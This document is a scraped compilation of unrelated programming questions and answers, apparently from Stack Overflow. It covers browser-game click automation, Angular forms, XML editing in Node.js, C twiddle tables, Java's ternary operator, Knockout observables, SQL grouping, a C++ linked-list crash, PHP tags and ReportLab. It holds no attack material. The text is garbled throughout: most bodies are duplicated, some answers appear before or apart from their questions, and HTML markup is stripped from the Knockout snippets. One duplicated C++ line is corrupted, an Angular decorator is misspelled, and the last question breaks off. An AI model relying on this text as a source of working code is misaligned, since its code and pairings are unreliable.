I am attempting to make an automation for a browser game on kongregate, minequest. I've created a code that is supposed to click a series of buttons however while the mouse moves, the mouse doesn't always successfully click. No errors are given and each time I run the code different clicks fail. I have tried adding more and more time between clicks to the point that I now have 1 second wait times, repeat the clicks at least twice, etc. to try to ensure a click happens but clicks still don't always happen.

I have windows 10, mouse pointer scheme is set to none, I am using google chrome as the browser.

Edit: FYI I have made other automations that work just same with the same browser, same computer, etc. I currently have gotten this code working by having it click 10 times instead of 1 but that shouldn't be necessary and I would like to understand why this phenomenon is happening.

答:
Sometimes an application might not react on "click", but on "button status". MouseClick might not have enough time between "Press" and "Release" for those applications to notice that the button is "down". (Your description ("working one time out of two to ten") supports this oppinion). To give that application a proper "Button is down", a mousedown, sleep, mouseup sequence should work.

If you don't have trouble with a mouseclick "by hand", a sleep time of 100 - 200 ms should be fine.


问:
Angular 2 - ngModel does not work inside <form> after updating to rc4
I've just done an update to RC4; however, many things stopped working, the below was working fine.
Now, ngModel does not work inside  unless you remove one of them.

page.js

```<code>   import {Component} from '@angular/core';
</code>```

page.html

```<code>   <form (ngSubmit)="submitForm()">
        <ion-list radio-group  [(ngModel)]="content" name="ionListGroup">
        </ion-list>
   </form>
</code>```

When I click to open page.html, nothing happens, but I see:

```<code>  *It looks like you're using the old forms module. This will be opt-in in the next RC, and
  will eventually be removed in favor of the new forms module. For more information, see:
  https://docs.google.com/document/u/1/d/1RIezQqE4aEhBRmArIAS1mRIZtWFf6JxN_7B4meyWK0Y/pub
</code>```

I've done some debugging and I've seen that if I remove [(ngModel)]="content" or <form> tag everything work fine again, but I can't remove any of them because I need them both.

答:
1. Include form module to NgModule in the app.module.ts file

```<code>    import { FormsModule } from '@angular/forms';

    @MgModule({
    imports: [
        ...
        FormsModule,
        ...
    ])}
</code>```

2. Don't forget to give a name to the input element

```<code>    <input mdInput type="text" [(ngModel)]="username" placeholder="User Name" name="first" required>
</code>```

Body:
I've just done an update to RC4; however, many things stopped working, the below was working fine.
Now, ngModel does not work inside  unless you remove one of them.

page.js

   import {Component} from '@angular/core';

page.html

   <form (ngSubmit)="submitForm()">
        <ion-list radio-group  [(ngModel)]="content" name="ionListGroup">
        </ion-list>
   </form>

When I click to open page.html, nothing happens, but I see:

  *It looks like you're using the old forms module. This will be opt-in in the next RC, and
  will eventually be removed in favor of the new forms module. For more information, see:
  https://docs.google.com/document/u/1/d/1RIezQqE4aEhBRmArIAS1mRIZtWFf6JxN_7B4meyWK0Y/pub

I've done some debugging and I've seen that if I remove [(ngModel)]="content" or <form> tag everything work fine again, but I can't remove any of them because I need them both.

Body:
1. Include form module to NgModule in the app.module.ts file

    import { FormsModule } from '@angular/forms';

    @MgModule({
    imports: [
        ...
        FormsModule,
        ...
    ])}

2. Don't forget to give a name to the input element

    <input mdInput type="text" [(ngModel)]="username" placeholder="User Name" name="first" required>


问:
What is the difference between Cassandra vs Oracle Coherence?
Assume that Oracle Coherence is free :)

Which one do you prefer?

What are the architectural and feature capability differences between Oracle Coherence(Tangosol) and Cassandra?

Best Regards

答: Both are NoSQL Databases. Currently there are 3 types of NoSQL databases that exists - Key Value Store, Tabular and Document Oriented. Coherence is a key value store, Cassandra is more like a tabular and MongoDB is a Document Oriented nosql db.</p>

OwnerDisplayName: No Sql Wisher


问:
Changing value of XML data using Node JS
I have a XML document that looks like this:

```<code> <Data id="1401" href="http://222222222">
  <definition id="12218" href="http://11"></definition>
  <Data-List count="1">
    <DataStep type="3">
      <completed_time>07/04/2017 17:18:11</completed_time>
      <status>3</status>
    </DataStep>
  </Data-List>
  <information>abcdefg</information>
</Data>
</code>```

I would like to change the information data abcdefg to a different piece of string that comes from a different variable.

So it looks like this:

```<code> <Data id="1401" href="http://222222222">
  <definition id="12218" href="http://11"></definition>
  <Data-List count="1">
    <DataStep type="3">
      <completed_time>07/04/2017 17:18:11</completed_time>
      <status>3</status>
    </DataStep>
  </Data-List>
  <information>example</information>
</Data>
</code>```

Is this possible to do directly in Node JS without changing this XML to a json, modifying it and then converting back to XML? I have tried this however it did not seem to work, creating weird arrays and '$' on the XML conversion.

Any suggestions on how I could do this?

答:
I would use cherriojs https://github.com/cheeriojs/cheerio .

Itis the nodejs implemetation of jQuery so DOM manipulations are easy. At the top of your file you have to set the xmlMode:true after you require it.

```<code>var $ = cheerio.load(your-xml-doc, {
          xmlMode: true
        });
</code>```

Then you can use something like

```<code>$('information').text('example');
</code>```

Body:
I have a XML document that looks like this:

 <Data id="1401" href="http://222222222">
  <definition id="12218" href="http://11"></definition>
  <Data-List count="1">
    <DataStep type="3">
      <completed_time>07/04/2017 17:18:11</completed_time>
      <status>3</status>
    </DataStep>
  </Data-List>
  <information>abcdefg</information>
</Data>

I would like to change the information data abcdefg to a different piece of string that comes from a different variable.

So it looks like this:

 <Data id="1401" href="http://222222222">
  <definition id="12218" href="http://11"></definition>
  <Data-List count="1">
    <DataStep type="3">
      <completed_time>07/04/2017 17:18:11</completed_time>
      <status>3</status>
    </DataStep>
  </Data-List>
  <information>example</information>
</Data>

Is this possible to do directly in Node JS without changing this XML to a json, modifying it and then converting back to XML? I have tried this however it did not seem to work, creating weird arrays and '$' on the XML conversion.

Any suggestions on how I could do this?

Body:
I would use cherriojs https://github.com/cheeriojs/cheerio .

Itis the nodejs implemetation of jQuery so DOM manipulations are easy. At the top of your file you have to set the xmlMode:true after you require it.

var $ = cheerio.load(your-xml-doc, {
          xmlMode: true
        });

Then you can use something like

$('information').text('example');


问:
Is python is a good choice as language used to implementing my first 3D model?
I am C/C  /Java programmer, but lately I have started learn Python.

Moreover I have 3D Graphics on my studies. I have to create 3D model of my apartment, with dynamic camera. I am wondering if this is a good idea to merge this two issues, by writing this 3D model in python.

However as I said, I am a python beginner, so I don't know possibilities, which python can give me in this area. Which libraries/engine will be the best for a start?

答: You can also checkout Pyglet, which is a higher-level library for using with OpenGL.</p>


答:
It doesn't work because your math is wrong.  The first table covers only the first quadrant of the complex plane. When you multiply by 4 for the second segment of your desired output, you won't get 4 repeats of the first quadrant, you'll get all four quadrants.

Here is something closer to what you specified. And it fixes some problems with your use of C:

```<code>#include <stdio.h>
#include <stdlib.h>
#include <math.h>

#define N_ROOTS_OF_UNITY 64
#define PI 3.14159265358979323846264338327950

float *twiddle_real;
float *twiddle_imag;

int main()
{
  size_t table_size = N_ROOTS_OF_UNITY * 3;

  twiddle_real  = malloc(table_size * sizeof(float));
  twiddle_imag  = malloc(table_size * sizeof(float));

  size_t i, incr, repeat, k = 0;
  for (incr = 1; incr <= 16; incr *= 4) {
    for (repeat = 0; repeat < incr; ++repeat) {
      for(i = 0; i < N_ROOTS_OF_UNITY; i += incr) {
        twiddle_real[k] = (float) cos(i * (PI / 2) / N_ROOTS_OF_UNITY);
        twiddle_imag[k] = (float) -sin(i * (PI / 2) / N_ROOTS_OF_UNITY);
        ++k;
      }
    }
  }
  for (int a = 0; a < table_size; a++)
    printf("%d: RE = %f\tIM = %f\n", a, twiddle_real[a], twiddle_imag[a]);
  return 0;
}
</code>```

Title: Create a twiddle table with a specific order?

Body:
I was hoping to create a twiddle table with a specific ordering for a specific purpose, here is the initial code:

#define TWIDDLE_LIMIT 64
#define PI 3.1415927

float *twiddle_real;
float *twiddle_imag;

void main()
{
  int N = 256;
  int TW_size = TWIDDLE_LIMIT + (TWIDDLE_LIMIT>>2);

  twiddle_real  = malloc(TW_size * sizeof(float));
  twiddle_imag  = malloc(TW_size * sizeof(float));

  int i;
  for(i=0; i<TWIDDLE_LIMIT; i++)
  {
    twiddle_real[i] = (float)   cos((float)i * 2.0 * PI / (float)N);
    twiddle_imag[i] = (float) - sin((float)i * 2.0 * PI / (float)N);
  }
  for(int a=0; a<TWIDDLE_LIMIT; a++)
    printf("RE = %f \t IM = %f \n",twiddle_real[a],twiddle_imag[a]);
}

And i get this kind of result:

RE = 1.000000    IM = -0.000000 //64 lines
RE = 0.999699    IM = -0.024541
RE = 0.998795    IM = -0.049068
RE = 0.997290    IM = -0.073565
RE = 0.995185    IM = -0.098017
RE = 0.992480    IM = -0.122411
RE = 0.989177    IM = -0.146730
RE = 0.985278    IM = -0.170962
RE = 0.980785    IM = -0.195090
RE = 0.975702    IM = -0.219101
RE = 0.970031    IM = -0.242980
RE = 0.963776    IM = -0.266713
RE = 0.956940    IM = -0.290285
RE = 0.949528    IM = -0.313682
RE = 0.941544    IM = -0.336890
RE = 0.932993    IM = -0.359895
RE = 0.923880    IM = -0.382683
RE = 0.914210    IM = -0.405241
RE = 0.903989    IM = -0.427555
RE = 0.893224    IM = -0.449611
RE = 0.881921    IM = -0.471397
RE = 0.870087    IM = -0.492898
RE = 0.857729    IM = -0.514103
RE = 0.844854    IM = -0.534998
RE = 0.831470    IM = -0.555570
RE = 0.817585    IM = -0.575808
RE = 0.803208    IM = -0.595699
RE = 0.788346    IM = -0.615232
RE = 0.773010    IM = -0.634393
RE = 0.757209    IM = -0.653173
RE = 0.740951    IM = -0.671559
RE = 0.724247    IM = -0.689541
RE = 0.707107    IM = -0.707107
RE = 0.689541    IM = -0.724247
RE = 0.671559    IM = -0.740951
RE = 0.653173    IM = -0.757209
RE = 0.634393    IM = -0.773010
RE = 0.615232    IM = -0.788346
RE = 0.595699    IM = -0.803208
RE = 0.575808    IM = -0.817585
RE = 0.555570    IM = -0.831470
RE = 0.534998    IM = -0.844854
RE = 0.514103    IM = -0.857729
RE = 0.492898    IM = -0.870087
RE = 0.471397    IM = -0.881921
RE = 0.449611    IM = -0.893224
RE = 0.427555    IM = -0.903989
RE = 0.405241    IM = -0.914210
RE = 0.382683    IM = -0.923880
RE = 0.359895    IM = -0.932993
RE = 0.336890    IM = -0.941544
RE = 0.313682    IM = -0.949528
RE = 0.290285    IM = -0.956940
RE = 0.266713    IM = -0.963776
RE = 0.242980    IM = -0.970031
RE = 0.219101    IM = -0.975702
RE = 0.195090    IM = -0.980785
RE = 0.170962    IM = -0.985278
RE = 0.146730    IM = -0.989177
RE = 0.122411    IM = -0.992480
RE = 0.098017    IM = -0.995185
RE = 0.073565    IM = -0.997290
RE = 0.049068    IM = -0.998795
RE = 0.024541    IM = -0.999699

And this is only a minimal exaple that I can explain you as much as possibble.

What i want and tried to create is a table that begins with the earlier set of lines and the resdt will be as following:

(earlier set of lines) expressed as following(idx:0 --- > 64)

    re[idx] = (float) cos((float)i * (2*pi)/(float)N);
    im[idx] = (float)-sin((float)i * (2*pi)/(float)N);

(2nd set of lines) expressed as following repeated 4 times consequently

    re[idx] = (float) cos(4 * (float)i * (2*pi)/(float)N);
    im[idx] = (float)-sin(4 * (float)i * (2*pi)/(float)N);

(3nd set of lines) expressed as following repeated 16 times consequently

    re[idx] = (float) cos(16 * (float)i * (2*pi)/(float)N);
    im[idx] = (float)-sin(16 * (float)i * (2*pi)/(float)N);

The result is expected to be as following:

//set 1 as above  repeated just 1 time
// ....
//set 2 repeated 4 times
RE = 1.000000    IM = -0.000000 //1st ligne of set 1
RE = 0.995185    IM = -0.098017 //4th ligne of set 1
RE = 0.980785    IM = -0.195090 //8th ligne of set 1
RE = 0.956940    IM = -0.290285 //12th ligne of set 1 ...
RE = 0.923880    IM = -0.382683
RE = 0.881921    IM = -0.471397
RE = 0.831470    IM = -0.555570
RE = 0.773010    IM = -0.634393
RE = 0.707107    IM = -0.707107
RE = 0.634393    IM = -0.773010
RE = 0.555570    IM = -0.831470
RE = 0.471397    IM = -0.881921
RE = 0.382683    IM = -0.923880
RE = 0.290285    IM = -0.956940
RE = 0.195090    IM = -0.980785
RE = 0.098017    IM = -0.995185
// set 3 repeated 16 times
RE = 1.000000    IM = -0.000000 //1st ligne of set 1
RE = 0.923880    IM = -0.382683 //16th ligne of set 1
RE = 0.707107    IM = -0.707107 //38th ligne of set 1
RE = 0.382683    IM = -0.923880 //64th ligne of set 1

I've tried several times but i keep getting wrong results I don't know if it's precison issue or sometimng else.

Body:
It doesn't work because your math is wrong.  The first table covers only the first quadrant of the complex plane. When you multiply by 4 for the second segment of your desired output, you won't get 4 repeats of the first quadrant, you'll get all four quadrants.

Here is something closer to what you specified. And it fixes some problems with your use of C:

#include <stdio.h>
#include <stdlib.h>
#include <math.h>

#define N_ROOTS_OF_UNITY 64
#define PI 3.14159265358979323846264338327950

float *twiddle_real;
float *twiddle_imag;

int main()
{
  size_t table_size = N_ROOTS_OF_UNITY * 3;

  twiddle_real  = malloc(table_size * sizeof(float));
  twiddle_imag  = malloc(table_size * sizeof(float));

  size_t i, incr, repeat, k = 0;
  for (incr = 1; incr <= 16; incr *= 4) {
    for (repeat = 0; repeat < incr; ++repeat) {
      for(i = 0; i < N_ROOTS_OF_UNITY; i += incr) {
        twiddle_real[k] = (float) cos(i * (PI / 2) / N_ROOTS_OF_UNITY);
        twiddle_imag[k] = (float) -sin(i * (PI / 2) / N_ROOTS_OF_UNITY);
        ++k;
      }
    }
  }
  for (int a = 0; a < table_size; a++)
    printf("%d: RE = %f\tIM = %f\n", a, twiddle_real[a], twiddle_imag[a]);
  return 0;
}


问:
continue with if statement java
why I can't use continue with The ? : Operator    :</p>

```<code>public class TestArray {

public static void main(String[] args) {
  double[] myList = {1.9, 2.9, 3.4, 3.5};

  // Print all the array elements
  for (int i = 0; i < myList.length; i++) {
     System.out.println(myList[i] + " ");
  }

  // Finding the largest element
  double max = myList[0];
  for (int i = 1; i < myList.length; i++) {
     myList[i] > max ? max = myList[i] : continue ;
  }
  System.out.println("Max is " + max);
}
}
</code>```

答:
Ternary operator works like this method:

```<code>public static <R> R ternaryOperator(boolean condition, R onTrue, R onFalse) {
    if (condition == true) {
        return onTrue;
    } else {
        return onFalse;
    }
}
</code>```

Do you think you can write something like this?

```<code>ternaryOperator(myList[i] > max, max = myList[i], continue)
</code>```

Title: continue with if statement java

Body:
why I can't use continue with The ? : Operator    :

public class TestArray {

public static void main(String[] args) {
  double[] myList = {1.9, 2.9, 3.4, 3.5};

  // Print all the array elements
  for (int i = 0; i < myList.length; i++) {
     System.out.println(myList[i] + " ");
  }

  // Finding the largest element
  double max = myList[0];
  for (int i = 1; i < myList.length; i++) {
     myList[i] > max ? max = myList[i] : continue ;
  }
  System.out.println("Max is " + max);
}
}

Body:
Ternary operator works like this method:

public static <R> R ternaryOperator(boolean condition, R onTrue, R onFalse) {
    if (condition == true) {
        return onTrue;
    } else {
        return onFalse;
    }
}

Do you think you can write something like this?

ternaryOperator(myList[i] > max, max = myList[i], continue)


问:
What's the difference between a "script" and an "application"?
I'm referring to distinctions such as in this answer:

...bash isn't for writing applications it's for, well, scripting. So sure, your application might have some housekeeping scripts but don't go writing critical-business-logic.sh because another language is probably better for stuff like that.

As programmer who's worked in many languages, this seems to be C, Java and other compiled language snobbery.  I'm not looking for reenforcement of my opinion or hand-wavy answers.  Rather, I genuinely want to know what technical differences are being referred to.

(And I use C in my day job, so I'm not just being defensive.)

答: John Ousterhout (the inventor of TCL) has a good article at http://www.tcl.tk/doc/scripting.html where he proposes a distinction between system programming languages (for implementing building blocks, emphasis on correctness, type safety) vs scripting languages (for combining building blocks, emphasis on responsiveness to changing environments and requirements, easy conversion in and out of textual representations). If you go with that categorisation system, then 99% of programmers are doing jobs that are more appropriate to scripting languages than to system programming languages.</p>

OwnerDisplayName: Jon Ericson


问:
How to update an observable array inside a component from the main ViewModel?
I need to set from the main viewmodel a property inside an observable array.

I'm using the classic pre to debug and display the content of my observable array.
By using types.valueHasMutated() I can see the applied changes - just only to vm.types (which wouldn't be the case otherwise).

However, I need to see this changes reflected inside my component.

In my example, when I ckick "Apples", the corresponding input shall be disabled like the one below. Sadly, this is actually not the case.

What I'm doing wrong?

ko.components.register("available-items", {
  viewModel: function(params) {
    function AvailableItems(params) {
      var self = this;
      self.params = params;
      self.location = "A";
      self.types = ko.computed(function() {
        var types = self.params.types();
        return ko.utils.arrayFilter(types, function(item) {
          return item.location == self.location;
        });
      });
      self.addItem = function(data, event) {
        self.params.items.addItem(self.location, data.type);
      };
    }
    return new AvailableItems(params);
  },
  template: '
' +
    '
Add item
' +
    '
' +
    '
' +
    '<input type="text" data-bind="value: type, enable:available, event: {click: $parent.addItem}" readonly/>' +
    '
' +
    '
' +
    '
',
  synchronous: true
});

var types = [{
  type: "Apples",
  location: "A",
  available: true
}, {
  type: "Bananas",
  location: "A",
  available: false
}];

function Vm(data) {
  var self = this;
  self.items = ko.observableArray();
  self.types = ko.observableArray(ko.utils.arrayMap(data, function(item) {
    return item;
  }));
  self.items.addItem = function(location, type) {
    self.items.push({
      location: location,
      type: type
    });
    if (location == "A" && type == "Apples") {
      self.types()[0].available = false;
      self.types.valueHasMutated();
    }
  };
}

ko.options.deferUpdates = true;
var vm = new Vm(types);
ko.applyBindings(vm);```
<pre class="snippet-code-css lang-css prettyprint-override"><code>pre {
  position: absolute;
  width: 300px;
  right: 0;
  top: 0;
}</code>```

<!DOCTYPE html>

 -

```
  </body>
</html></code>```

答:
Your available property isn't observable. In order to notify Knockout about changes and let it update UI - make this property observable.

ko.components.register("available-items", {
  viewModel: function(params) {
    function AvailableItems(params) {
      var self = this;
      self.params = params;
      self.location = "A";
      self.types = ko.computed(function() {
        var types = self.params.types();
        return ko.utils.arrayFilter(types, function(item) {
          return item.location == self.location;
        });
      });
      self.addItem = function(data, event) {
        self.params.items.addItem(self.location, data.type);
      };
    }
    return new AvailableItems(params);
  },
  template: '
' +
    '
Add item
' +
    '
' +
    '
' +
    '<input type="text" data-bind="value: type, enable:available, event: {click: $parent.addItem}" readonly/>' +
    '
' +
    '
' +
    '
',
  synchronous: true
});

var types = [{
  type: "Apples",
  location: "A",
  // Make property observable
  available: ko.observable(true)
}, {
  type: "Bananas",
  location: "A",
  // Make property observable
  available: ko.observable(false)
}];

function Vm(data) {
  var self = this;
  self.items = ko.observableArray();
  self.types = ko.observableArray(ko.utils.arrayMap(data, function(item) {
    return item;
  }));
  self.items.addItem = function(location, type) {
    self.items.push({
      location: location,
      type: type,
      available: ko.observable(false)
    });
    if (location == "A" && type == "Apples") {
      // Update property as observable.
      self.types()[0].available(false);
      self.types.valueHasMutated();
    }
  };
}

ko.options.deferUpdates = true;
var vm = new Vm(types);
ko.applyBindings(vm);```
<pre class="snippet-code-css lang-css prettyprint-override"><code>pre {
  position: absolute;
  width: 300px;
  right: 0;
  top: 0;
}</code>```

<!DOCTYPE html>

 -

```
  </body>
</html></code>```

Body:
I need to set from the main viewmodel a property inside an observable array.

I'm using the classic pre to debug and display the content of my observable array.
By using types.valueHasMutated() I can see the applied changes - just only to vm.types (which wouldn't be the case otherwise).

However, I need to see this changes reflected inside my component.

In my example, when I ckick "Apples", the corresponding input shall be disabled like the one below. Sadly, this is actually not the case.

What I'm doing wrong?

ko.components.register("available-items", {
  viewModel: function(params) {
    function AvailableItems(params) {
      var self = this;
      self.params = params;
      self.location = "A";
      self.types = ko.computed(function() {
        var types = self.params.types();
        return ko.utils.arrayFilter(types, function(item) {
          return item.location == self.location;
        });
      });
      self.addItem = function(data, event) {
        self.params.items.addItem(self.location, data.type);
      };
    }
    return new AvailableItems(params);
  },
  template: '
' +
    '
Add item
' +
    '
' +
    '
' +
    '<input type="text" data-bind="value: type, enable:available, event: {click: $parent.addItem}" readonly/>' +
    '
' +
    '
' +
    '
',
  synchronous: true
});

var types = [{
  type: "Apples",
  location: "A",
  available: true
}, {
  type: "Bananas",
  location: "A",
  available: false
}];

function Vm(data) {
  var self = this;
  self.items = ko.observableArray();
  self.types = ko.observableArray(ko.utils.arrayMap(data, function(item) {
    return item;
  }));
  self.items.addItem = function(location, type) {
    self.items.push({
      location: location,
      type: type
    });
    if (location == "A" && type == "Apples") {
      self.types()[0].available = false;
      self.types.valueHasMutated();
    }
  };
}

ko.options.deferUpdates = true;
var vm = new Vm(types);
ko.applyBindings(vm);

pre {
  position: absolute;
  width: 300px;
  right: 0;
  top: 0;
}

<!DOCTYPE html>

 -

Body:
Your available property isn't observable. In order to notify Knockout about changes and let it update UI - make this property observable.

ko.components.register("available-items", {
  viewModel: function(params) {
    function AvailableItems(params) {
      var self = this;
      self.params = params;
      self.location = "A";
      self.types = ko.computed(function() {
        var types = self.params.types();
        return ko.utils.arrayFilter(types, function(item) {
          return item.location == self.location;
        });
      });
      self.addItem = function(data, event) {
        self.params.items.addItem(self.location, data.type);
      };
    }
    return new AvailableItems(params);
  },
  template: '<div>' +
    '<h4>Add item</h4>' +
    '<ul data-bind="foreach: types">' +
    '<li>' +
    '<input type="text" data-bind="value: type, enable:available, event: {click: $parent.addItem}" readonly/>' +
    '</li>' +
    '</ul>' +
    '</div>',
  synchronous: true
});

var types = [{
  type: "Apples",
  location: "A",
  // Make property observable
  available: ko.observable(true)
}, {
  type: "Bananas",
  location: "A",
  // Make property observable
  available: ko.observable(false)
}];

function Vm(data) {
  var self = this;
  self.items = ko.observableArray();
  self.types = ko.observableArray(ko.utils.arrayMap(data, function(item) {
    return item;
  }));
  self.items.addItem = function(location, type) {
    self.items.push({
      location: location,
      type: type,
      available: ko.observable(false)
    });
    if (location == "A" && type == "Apples") {
      // Update property as observable.
      self.types()[0].available(false);
      self.types.valueHasMutated();
    }
  };
}

ko.options.deferUpdates = true;
var vm = new Vm(types);
ko.applyBindings(vm);

pre {
  position: absolute;
  width: 300px;
  right: 0;
  top: 0;
}

<!DOCTYPE html>
<html>
  <head>
    <script src="//cdnjs.cloudflare.com/ajax/libs/knockout/3.4.0/knockout-min.js"></script>
  </head>
  <body>
    <div data-bind="component:{name:'available-items',params:vm}"></div>
    <ul data-bind="foreach: items">
      <li><span data-bind="text: location"></span> - <span data-bind="text: type"></span></li>
    </ul>
    <pre data-bind="text: ko.toJSON(vm.types, null, 2)"></pre>
  </body>
</html>


答:
You just need a group by.

```<code>select `type`, date(`timestamp`), count(*)
from tableName
group by `type`, date(`timestamp`)
</code>```

Title: Count number of rows in each day grouped by another field

Body:
For the purpose of drawing an activity chart, how can we count number of rows for each type (distinct field value) in each day?

Consider a table with a date field and a field for each type:

CREATE TABLE TableName
    (`PK` int, `type` varchar(1), `timestamp` datetime)
;

INSERT INTO TableName
    (`PK`, `type`, `timestamp`)
VALUES
    (11, 'Q', '2013-01-04 22:23:56'),
    (7, 'A', '2013-01-03 22:23:41'),
    (8, 'C', '2013-01-04 22:23:42'),
    (10, 'Q', '2013-01-05 22:23:56'),
    (5, 'C', '2013-01-03 22:23:25'),
    (12, 'Q', '2013-01-05 22:23:57'),
    (6, 'Q', '2013-01-07 22:23:40'),
    (4, 'Q', '2013-01-02 22:23:23'),
    (9, 'A', '2013-01-05 22:23:55'),
    (1, 'A', '2013-01-08 21:29:38'),
    (2, 'Q', '2013-01-02 21:31:59'),
    (3, 'C', '2013-01-04 21:32:22')
;

For example output can be (last field is the count of rows with that type and in that day):

'Q', 2013-01-04, 1
'C', 2013-01-04, 2
'A', 2013-01-03, 1
'C', 2013-01-03, 2
and so on...

Body:
You just need a group by.

select `type`, date(`timestamp`), count(*)
from tableName
group by `type`, date(`timestamp`)


问:
Why does my compiler gives me a Segmentation Fault when I execute this code?
```<code>#include<iostream>
#include<cstdio>
#include<cstdlib>

using namespace std;

struct Node {
    int data;
    Node* next;
};

struct Node* takeInput(){
    struct Node* head;
    cout<<"Enter element:";
    int data;
    cin>>data;
    while(data!=-1){
        struct Node* newNode=new (struct Node);
        newNode->data=data;
        newNode->next=NULL;

        if(head==NULL){
            head=newNode;
        }
        else{
            struct Node* temp=new (struct Node);
            while(temp->next!=NULL){
                temp=temp->next;
            }
            temp->next=newNode;
        }
        cout<<"Enter next element: ";
        cin>>data;
    }
    return head;
}

void print(struct Node* head){

    while(head->next!=NULL){
        cout<<head->data<<"->";
        head=head->next;
    }
}

int main(){
    struct Node* head = new (struct Node);
    head = takeInput();
    print(head);
}
</code>```

The segmentation fault occurs when the print() function executes.
Without the execution of the print function the code runs perfectly. The code takes the input from the user but crashes when I try to print the Linked List.
I am using a gcc compiler with Code Blocks IDE on a Linux OS.

答:
struct Node* head; is uninitialised when you check if(head==NULL) it almost certainly evaluates to false. The only thing you do in the else is leak memory and then you return an uninitialised pointer. When you try to use it just segfault as it should.

change struct Node* head; to struct Node* head=NULL; and struct Node* temp=new (struct Node); to struct Node* temp=head;

in main change struct Node* head = new (struct Node); to struct Node* head = takeInput(); and remember to deallocate the memory

Body:
#include<iostream>
#include<cstdio>
#include<cstdlib>

using namespace std;

struct Node {
    int data;
    Node* next;
};

struct Node* takeInput(){
    struct Node* head;
    cout<<"Enter element:";
    int data;
    cin>>data;
    while(data!=-1){
        struct Node* newNode=new (struct Node);
        newNode->data=data;
        newNode->next=NULL;

        if(head==NULL){
            head=newNode;
        }
        else{
            struct Node* temp=new (struct Node);
            while(temp->next!=NULL){
                temp=temp->next;
            }
            temp->next=newNode;
        }
        cout<<"Enter next element: ";
        cin>>data;
    }
    return head;
}

void print(struct Node* head){

    while(head->next!=NULL){
        cout<data<<"->";
        head=head->next;
    }
}

int main(){
    struct Node* head = new (struct Node);
    head = takeInput();
    print(head);
}

The segmentation fault occurs when the print() function executes.
Without the execution of the print function the code runs perfectly. The code takes the input from the user but crashes when I try to print the Linked List.
I am using a gcc compiler with Code Blocks IDE on a Linux OS.


问:
localhost does not process php script correctly
I am learning about databases and GUI to make database management more user friendly. I successfully downloaded wampserver (3.0) and mysql (5.7). To test if the php prints "Hello world" (see PHP script below).

Script (saved as name.php)

```<code>>?
echo "Hello world";
?<
</code>```

My output in the browser is:

```<code>>?
echo "Hello world";
?<
</code>```

Can someone give advise me on what the problem is, and how I can fix it?

答:
PHP scripts start with a <?php and end with a ?>:

```<code><?php
  echo 'Hello, World!';
?>
</code>```

As correctly pointed out in the comments, the ?> a the end of a file is optional and should - in most cases - not be used.

This will also work:

```<code><?php
  echo 'Hello, World!';
</code>```

In PHP scripts where you don't mix PHP and HTML this is the way to go.

Body:
I am learning about databases and GUI to make database management more user friendly. I successfully downloaded wampserver (3.0) and mysql (5.7). To test if the php prints "Hello world" (see PHP script below).

Script (saved as name.php)

>?
echo "Hello world";
?<

My output in the browser is:

>?
echo "Hello world";
?<

Can someone give advise me on what the problem is, and how I can fix it?

Body:
PHP scripts start with a <?php and end with a ?>:

<?php
  echo 'Hello, World!';
?>

As correctly pointed out in the comments, the ?> a the end of a file is optional and should - in most cases - not be used.

This will also work:

<?php
  echo 'Hello, World!';

In PHP scripts where you don't mix PHP and HTML this is the way to go.


问:
reportlab: how to set initial/default view?
I've managed to successfully generate an empy PDF, but it doesn't set the initial view. I'd like to set the initial view to "full view" i.e. the end user see one page fits the PDF reader (= an A4 page fits in the screen).

```<code>def render_to_response(self, context, **response_kwargs):

    response = HttpResponse(content_type='application/pdf; charset=utf-8')
    response['Content-Disposition'] = 'attachment; filename=""'

    p = canvas.Canvas(response, pagesize=A4, )
    p.showPage()
    p.save()

    return response
</code>```

How to set the default zoom view (if it's possible) with reportlab?

答:
In short

Add this line:

```<code>p.setViewerPreference("FitWindow", "true")
</code>```

Explain

Set viewer preference with:

```<code>def setViewerPreference(self,pref,value):
    set one of the allowed enbtries in the documents viewer preferences
</code>```

Available pref and value are:

```<code>class ViewerPreferencesPDFDictionary(CheckedPDFDictionary):
    validate=dict(
        HideToolbar=checkPDFBoolean,
        HideMenubar=checkPDFBoolean,
        HideWindowUI=checkPDFBoolean,
        FitWindow=checkPDFBoolean,
        CenterWindow=checkPDFBoolean,
        DisplayDocTitle=checkPDFBoolean,    #contributed by mark Erbaugh
        NonFullScreenPageMode=checkPDFNames(*'UseNone UseOutlines UseThumbs UseOC'.split()),
        Direction=checkPDFNames(*'L2R R2L'.split()),
        ViewArea=checkPDFNames(*'MediaBox CropBox BleedBox TrimBox ArtBox'.split()),
        ViewClip=checkPDFNames(*'MediaBox CropBox BleedBox TrimBox ArtBox'.split()),
        PrintArea=checkPDFNames(*'MediaBox CropBox BleedBox TrimBox ArtBox'.split()),
        PrintClip=checkPDFNames(*'MediaBox CropBox BleedBox TrimBox ArtBox'.split()),
        PrintScaling=checkPDFNames(*'None AppDefault'.split()),
        )
</code>```

Reference

ReportLab API Reference

ViewerPreferencesPDFDictionary

Body:
I've managed to successfully generate an empy PDF, but it doesn't set the initial view. I'd like to set the initial view to "full view" i.e. the end user see one page fits the PDF reader (= an A4 page fits in the screen).

def render_to_response(self, context, **response_kwargs):

    response = HttpResponse(content_type='application/pdf; charset=utf-8')
    response['Content-Disposition'] = 'attachment; filename=""'

    p = canvas.Canvas(response, pagesize=A4, )
    p.showPage()
    p.save()

    return response

How to set the default zoom view (if it's possible) with reportlab?

Body:
In short

Add this line:

p.setViewerPreference("FitWindow", "true")

Explain

Set viewer preference with:

def setViewerPreference(self,pref,value):
    set one of the allowed enbtries in the documents viewer preferences

Available pref and value are:

class ViewerPreferencesPDFDictionary(CheckedPDFDictionary):
    validate=dict(
        HideToolbar=checkPDFBoolean,
        HideMenubar=checkPDFBoolean,
        HideWindowUI=checkPDFBoolean,
        FitWindow=checkPDFBoolean,
        CenterWindow=checkPDFBoolean,
        DisplayDocTitle=checkPDFBoolean,    #contributed by mark Erbaugh
        NonFullScreenPageMode=checkPDFNames(*'UseNone UseOutlines UseThumbs UseOC'.split()),
        Direction=checkPDFNames(*'L2R R2L'.split()),
        ViewArea=checkPDFNames(*'MediaBox CropBox BleedBox TrimBox ArtBox'.split()),
        ViewClip=checkPDFNames(*'MediaBox CropBox BleedBox TrimBox ArtBox'.split()),
        PrintArea=checkPDFNames(*'MediaBox CropBox BleedBox TrimBox ArtBox'.split()),
        PrintClip=checkPDFNames(*'MediaBox CropBox BleedBox TrimBox ArtBox'.split()),
        PrintScaling=checkPDFNames(*'None AppDefault'.split()),
        )

Reference

ReportLab API Reference

ViewerPreferencesPDFDictionary


问:
Using JQuery methods to find the class. Using a JavaScript file in a rails application
